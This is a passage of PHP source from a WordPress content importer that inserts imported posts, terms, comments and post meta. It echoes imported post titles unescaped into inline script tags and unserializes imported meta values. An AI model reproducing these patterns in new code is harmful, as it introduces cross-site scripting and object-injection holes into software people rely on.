                 echo '<script type="text/javascript">tstatus( \'Adding Page <b>' . $post['post_title'] . '</b>\' );</script>';
             } else {
                 if ($post['post_type'] != 'attachment') {
                     echo '<script type="text/javascript">tstatus( \'Adding Custom Post Type <b>' . $post['post_type'] . '</b>\' );</script>';
                 }
             }
         }
         @ob_flush();
         @flush();
         $post_type_object = get_post_type_object($post['post_type']);
         $post_exists = post_exists($post['post_title'], '', $post['post_date']);
         if ($post_exists && get_post_type($post_exists) == $post['post_type']) {
             $comment_post_ID = $post_id = $post_exists;
         } else {
             $post_parent = (int) $post['post_parent'];
             if ($post_parent) {
                 // if we already know the parent, map it to the new local ID
                 if (isset($this->processed_posts[$post_parent])) {
                     $post_parent = $this->processed_posts[$post_parent];
                     // otherwise record the parent for later
                 } else {
                     $this->post_orphans[intval($post['post_id'])] = $post_parent;
                     $post_parent = 0;
                 }
             }
             // map the post author
             $author = sanitize_user($post['post_author'], true);
             if (isset($this->author_mapping[$author])) {
                 $author = $this->author_mapping[$author];
             } else {
                 $author = (int) get_current_user_id();
             }
             $postdata = array('import_id' => $post['post_id'], 'post_author' => $author, 'post_date' => $post['post_date'], 'post_date_gmt' => $post['post_date_gmt'], 'post_content' => $post['post_content'], 'post_excerpt' => $post['post_excerpt'], 'post_title' => $post['post_title'], 'post_status' => $post['status'], 'post_name' => $post['post_name'], 'comment_status' => $post['comment_status'], 'ping_status' => $post['ping_status'], 'guid' => $post['guid'], 'post_parent' => $post_parent, 'menu_order' => $post['menu_order'], 'post_type' => $post['post_type'], 'post_password' => $post['post_password']);
             $original_post_ID = $post['post_id'];
             $postdata = apply_filters('wp_import_post_data_processed', $postdata, $post);
             if ('attachment' == $postdata['post_type']) {
                 $remote_url = !empty($post['attachment_url']) ? $post['attachment_url'] : $post['guid'];
                 // try to use _wp_attached file for upload folder placement to ensure the same location as the export site
                 // e.g. location is 2003/05/image.jpg but the attachment post_date is 2010/09, see media_handle_upload()
                 $postdata['upload_date'] = $post['post_date'];
                 if (isset($post['postmeta'])) {
                     foreach ($post['postmeta'] as $meta) {
                         if ($meta['key'] == '_wp_attached_file') {
                             if (preg_match('%^[0-9]{4}/[0-9]{2}%', $meta['value'], $matches)) {
                                 $postdata['upload_date'] = $matches[0];
                             }
                             break;
                         }
                     }
                 }
                 $comment_post_ID = $post_id = $this->process_attachment($postdata, $remote_url);
             } else {
                 $comment_post_ID = $post_id = wp_insert_post($postdata, true);
                 do_action('wp_import_insert_post', $post_id, $original_post_ID, $postdata, $post);
             }
             if (is_wp_error($post_id)) {
                 continue;
             }
             if ($post['is_sticky'] == 1) {
                 stick_post($post_id);
             }
         }
         // map pre-import ID to local ID
         $this->processed_posts[intval($post['post_id'])] = (int) $post_id;
         if (!isset($post['terms'])) {
             $post['terms'] = array();
         }
         $post['terms'] = apply_filters('wp_import_post_terms', $post['terms'], $post_id, $post);
         // add categories, tags and other terms
         if (!empty($post['terms'])) {
             $terms_to_set = array();
             foreach ($post['terms'] as $term) {
                 // back compat with WXR 1.0 map 'tag' to 'post_tag'
                 $taxonomy = 'tag' == $term['domain'] ? 'post_tag' : $term['domain'];
                 $term_exists = term_exists($term['slug'], $taxonomy);
                 $term_id = is_array($term_exists) ? $term_exists['term_id'] : $term_exists;
                 if (!$term_id) {
                     $t = wp_insert_term($term['name'], $taxonomy, array('slug' => $term['slug']));
                     if (!is_wp_error($t)) {
                         $term_id = $t['term_id'];
                         do_action('wp_import_insert_term', $t, $term, $post_id, $post);
                     } else {
                         do_action('wp_import_insert_term_failed', $t, $term, $post_id, $post);
                         continue;
                     }
                 }
                 $terms_to_set[$taxonomy][] = intval($term_id);
             }
             foreach ($terms_to_set as $tax => $ids) {
                 $tt_ids = wp_set_post_terms($post_id, $ids, $tax);
                 do_action('wp_import_set_post_terms', $tt_ids, $ids, $tax, $post_id, $post);
             }
             unset($post['terms'], $terms_to_set);
         }
         if (!isset($post['comments'])) {
             $post['comments'] = array();
         }
         $post['comments'] = apply_filters('wp_import_post_comments', $post['comments'], $post_id, $post);
         // add/update comments
         if (!empty($post['comments'])) {
             $num_comments = 0;
             $inserted_comments = array();
             foreach ($post['comments'] as $comment) {
                 $comment_id = $comment['comment_id'];
                 $newcomments[$comment_id]['comment_post_ID'] = $comment_post_ID;
                 $newcomments[$comment_id]['comment_author'] = $comment['comment_author'];
                 $newcomments[$comment_id]['comment_author_email'] = $comment['comment_author_email'];
                 $newcomments[$comment_id]['comment_author_IP'] = $comment['comment_author_IP'];
                 $newcomments[$comment_id]['comment_author_url'] = $comment['comment_author_url'];
                 $newcomments[$comment_id]['comment_date'] = $comment['comment_date'];
                 $newcomments[$comment_id]['comment_date_gmt'] = $comment['comment_date_gmt'];
                 $newcomments[$comment_id]['comment_content'] = $comment['comment_content'];
                 $newcomments[$comment_id]['comment_approved'] = $comment['comment_approved'];
                 $newcomments[$comment_id]['comment_type'] = $comment['comment_type'];
                 $newcomments[$comment_id]['comment_parent'] = $comment['comment_parent'];
                 $newcomments[$comment_id]['commentmeta'] = isset($comment['commentmeta']) ? $comment['commentmeta'] : array();
                 if (isset($this->processed_authors[$comment['comment_user_id']])) {
                     $newcomments[$comment_id]['user_id'] = $this->processed_authors[$comment['comment_user_id']];
                 }
             }
             ksort($newcomments);
             foreach ($newcomments as $key => $comment) {
                 // if this is a new post we can skip the comment_exists() check
                 if (!$post_exists || !comment_exists($comment['comment_author'], $comment['comment_date'])) {
                     if (isset($inserted_comments[$comment['comment_parent']])) {
                         $comment['comment_parent'] = $inserted_comments[$comment['comment_parent']];
                     }
                     $comment = wp_filter_comment($comment);
                     $inserted_comments[$key] = wp_insert_comment($comment);
                     do_action('wp_import_insert_comment', $inserted_comments[$key], $comment, $comment_post_ID, $post);
                     foreach ($comment['commentmeta'] as $meta) {
                         $value = maybe_unserialize($meta['value']);
                         add_comment_meta($inserted_comments[$key], $meta['key'], $value);
                     }
                     $num_comments++;
                 }
             }
             unset($newcomments, $inserted_comments, $post['comments']);
         }
         if (!isset($post['postmeta'])) {
             $post['postmeta'] = array();
         }
         $post['postmeta'] = apply_filters('wp_import_post_meta', $post['postmeta'], $post_id, $post);
         // add/update post meta
         if (!empty($post['postmeta'])) {
             foreach ($post['postmeta'] as $meta) {
                 $key = apply_filters('import_post_meta_key', $meta['key'], $post_id, $post);
                 $value = false;
                 if ('_edit_last' == $key) {
                     if (isset($this->processed_authors[intval($meta['value'])])) {
                         $value = $this->processed_authors[intval($meta['value'])];
                     } else {
                         $key = false;
                     }
                 }
                 if ($key) {
                     // export gets meta straight from the DB so could have a serialized string
                     if (!$value) {
                         $value = maybe_unserialize($meta['value']);
                     }
                     if (!$value) {
                         $value = maybe_unserialize(str_replace("\n", ' ' . "\n", $meta['value']));
                     }
                     if (!empty($value)) {
                         if (get_post_meta($post_id, $key) === false) {
                             add_post_meta($post_id, $key, $value);
                         } else {
                             update_post_meta($post_id, $key, $value);
                         }
                     }
                     //do_action( 'import_post_meta', $post_id, $key, $value );
                     // if the post has a featured image, take note of this in case of remap
                     if ('_thumbnail_id' == $key) {
                         $this->featured_images[$post_id] = (int) $value;
                     }
                 }
             }
         }
     }
     unset($this->posts);
 }